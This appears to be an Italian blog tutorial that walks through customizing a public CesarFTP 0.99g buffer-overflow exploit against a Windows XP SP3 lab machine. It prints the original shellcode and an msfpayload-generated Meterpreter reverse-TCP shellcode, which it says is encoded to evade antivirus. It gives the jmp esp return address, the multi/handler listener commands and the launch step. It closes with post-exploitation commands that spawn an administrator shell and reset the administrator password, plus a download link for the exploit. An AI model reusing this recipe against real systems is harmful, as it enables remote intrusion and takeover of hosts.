Exploiting – Meterpreter

Customizzare un exploit e ottenere una shell con Meterpreter

Oggi vediamo come adattare un exploit generico ad una specifica macchina con un dato sistema operativo e patch; nello specifico utilizzeremo una installazione di Windows XP SP3 in Italiano e la versione 0.99g di CesarFtp. Per creare l’exploit utilizzeremo Metasploit, OllyDBG.

La prima cosa da fare è verificare quali exploit siano disponibili per CesarFtp e scaricarli; successivamente si tratta di vedere come personalizzarli per poter effettuare l’attacco.

Una breve ricerca su exploitDB (http://www.exploit-db.com) ci ritorna come risultato differenti exploit; per l’esercizio di oggi utilizzeremo CesarFTP 0.99g (MKD) Remote Buffer Overflow Exploit che può essere scaricato al link http://www.exploit-db.com/exploits/1906/

Apriamo l’exploit con un editor di testo e cerchiamo le parti di codice da customizzare che elenchiamo qui di seguito:

La prima parte da personalizzare sarà quella relativa allo shell code

shellcode = ( #execute calc.exe <metasploit.com>

“\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8”

“\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1”

“\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07”

“\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25”

“\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5”

“\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d”

“\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4”

“\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0”

“\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c”

“\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b”

“\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4”)

Mentre la seconda parte sarà quella relativa ai parametri

host = “127.0.0.1”

port = 21

user = “h07”

password = “open”

EIP = 0x7CA58265 #jmp esp <shell32.dll XP sp2 polish>

L’exploit richiede espressamente il parametro EIP relativo ad uno specifico processo, o dll, o applicazione che, nel nostro caso, deve girare sulla macchina con privilegi amministrativi.

Utilizziamo quindi OllyDBG per trovare il parametro corretto nella dll “ntdll.dll”. Per fare questo lanciamo il debugger, apriamo CesarFtp con “F3”, mandiamo in esecuzione il programma con “F9” e quindi apriamo con “E” la maschera di ricerca e scorriamo la lista fino a trovare “ntdll.dll”.

Image

Facciamo doppio click sulla riga relativa a ntdll.dll e cerchiamo il comando “jmp esp” e l’indirizzo ad esso associato: tale comando permetterà di eseguire lo shell code presente nell’exploit. Da sottolineare che differenti installazioni avranno differenti valori.

Nel caso di questo esempio l’indirizzo relativo al comando “jmp esp” è “7C92FCD8” (il valore esadecimale sarà da far precedere da “0x”.

Image

L’installazione di CesarFtp e’ stata fatta in modo da permettere login ad un utente anonimo; abbiamo a questo punto tutti i dati per customizzare l’exploit:

host = “192.168.148.128”

port = 21

user = “anonymous”

password = “”

EIP = 0x7C92FCD8 #jmp esp <ntdll.dll windows XP SP3 Italiano>

Creiamo ora lo shell code da sostituire con metasploit utilizzando il comando msfpayload.

Il payload che vogliamo andare a creare è “Meterpreter – reverse_ord_tcp”; sostituiamo questo payload a calc.exe in quanto più leggero in termini di allocazione di memoria e quindi meno soggetto ad errori di esecuzione dovuti a risorse insufficienti. Per fare questo utilizziamo il comando:

msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.148.129 LPORT=4444 R | msfencode –b ‘\x00\x20\x0a\x0d’che generera’ il seguente output:

“\xda\xca\xd9\x74\x24\xf4\xbd\x23\x75\x18\xac\x58\x31\xc9”

“\xb1\x18\x31\x68\x18\x03\x68\x18\x83\xc0\x27\x97\xed\x50”

“\x16\x8c\x6a\x22\x1b\x02\xf8\x74\x97\xe9\xae\x68\x2c\xff”

“\xc5\xe3\x12\xad\x77\x4d\x51\xab\xba\x60\x66\xec\xf6\xf1”

“\x67\x99\x9d\xf1\xfc\xdb\x5d\x89\x4e\xe1\xe5\x06\x02\xe4”

“\x09\x18\x73\x7d\x70\x42\x82\x6a\xf8\x03\xb8\x6b\x11\xe0”

“\xa9\x67\xbe\x8d\x28\x12\x42\xad\xfa\x75\x2a\x91\x52\xed”

“\x2a\x79\xa0\x0e\x3c\x26\x2d\xef\x6d\x61\x21\xa3\xc0\xda”

“\x68\x29\xf3\xb5\xdd\xfb\x0c\xd0”)

Analizziamo brevemente il commando: chiediamo a msfpayload di generare uno shell code relative a un payload di tipo reverse tcp verso la macchina 192.168.148.129 in ascolto alla porta 4444; specifichiamo inoltre di rimuovere i caratteri speciali che potrebbero fare fallire l’esecuzione del payload con il commando msfencode seguito dai caratteri in esadecimale.

Msfpayload ci ritorna quindi lo shell code (il risultato da voi ottenuto potrebbe essere differente) e ci informa che e’ stato effettuato un encoding “shikata ga nai” con 120 iterazioni: questo allo scopo di ingannare gli antivirus rendendo molto difficoltoso intercettare l’exploit.

A questo punto abbiamo tutto quello che ci serve per modificare l’exploit: sostituiamo lo shell code con il risultato ottenuto da msfpaylod e cambiamo i parametri nella sezione successiva.

Prima di lanciare l’exploit dobbiamo però predisporre meterpreter per intercettare la sessione che verrà aperta dall’exploit; per fare questo diamo i seguente comandi:

msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_ord_tcp

set LHOST 192.168.148.129

ed eseguiamo quindi con

exploit

a questo punto metasploit si predisporrà ad attendere la sessione che verrà aperta dall’exploit.

Lanciamo l’exploit con phyton 1906.py.

Image
Image

Proviamo quindi ad eseguire “cmd.exe”, ma senza successo.

Tentiamo quindi una seconda volta con il comando “execute –f cmd.exe –c –i –H”; a questo punto avremo una shell con privilegi di amministratore.

Diamo l’ultimo comando per cambiare la password di amministratore: “net user administrator <nuovapassword>” e siamo pronti ad accedere alla macchina exploitata.

Passwordchange

Se volete potete trovare l’exploit all’indirizzo https://mega.co.nz/#!NspgUIYJ!FR34kyDcfe-p1_vGYhVSymm2q0ZlHbM6mkDRnAxsma4

Leave a Reply

Your email address will not be published. Required fields are marked *